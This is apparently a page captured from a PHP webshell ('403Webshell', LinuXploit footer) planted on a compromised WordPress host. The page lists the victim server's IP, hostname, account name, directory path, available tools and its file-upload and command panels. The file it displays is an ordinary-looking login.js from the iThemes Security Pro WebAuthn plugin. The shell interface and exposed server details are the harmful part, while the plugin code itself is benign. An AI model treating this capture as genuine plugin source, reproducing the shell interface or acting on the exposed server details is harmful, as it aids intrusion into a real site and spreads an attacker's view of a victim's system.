403Webshell
Server IP : 104.21.14.103  /  Your IP : 3.15.18.176
Web Server : LiteSpeed
System : Linux business53.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : giankuin ( 1871)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/giankuin/dietcontrungnhanh.com/wp-content/plugins/ithemes-security-pro/pro/webauthn/entries/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/giankuin/dietcontrungnhanh.com/wp-content/plugins/ithemes-security-pro/pro/webauthn/entries/login.js
/**
 * WordPress dependencies
 */
import { render } from '@wordpress/element';
import domReady from '@wordpress/dom-ready';
import { setLocaleData } from '@wordpress/i18n';
import { dispatch, resolveSelect } from '@wordpress/data';

// Silence warnings until JS i18n is stable.
setLocaleData( { '': {} }, 'ithemes-security-pro' );

/**
 * Internal dependencies
 */
import { isAvailable } from '@ithemes/security.webauthn.utils';
import { App, store } from '@ithemes/security.webauthn.manage';
import './login/style.scss';

domReady( async () => {
	const el = document.getElementById( 'itsec-webauthn-login' );

	if ( ! el || ! isAvailable() ) {
		window.itsecLoginInterstitial.submitToProceed();

		return;
	}

	const isRequested = el.dataset.isRequested === '1';

	if ( ! isRequested && ! ( await resolveSelect( store ).canRegisterPlatformAuthenticator() ) ) {
		window.itsecLoginInterstitial.submitToProceed();

		return;
	}

	dispatch( store ).navigateTo( isRequested ? 'manage-credentials' : 'add-credential' );

	const onExit = () => window.itsecLoginInterstitial.submitToProceed( { itsec_skip: 1 } );
	const onComplete = () => window.itsecLoginInterstitial.submitToProceed();

	render( <App onExit={ onExit } onComplete={ onComplete } isRequested={ isRequested } />, el );
} );

Youez - 2016 - github.com/yon3zu
LinuXploit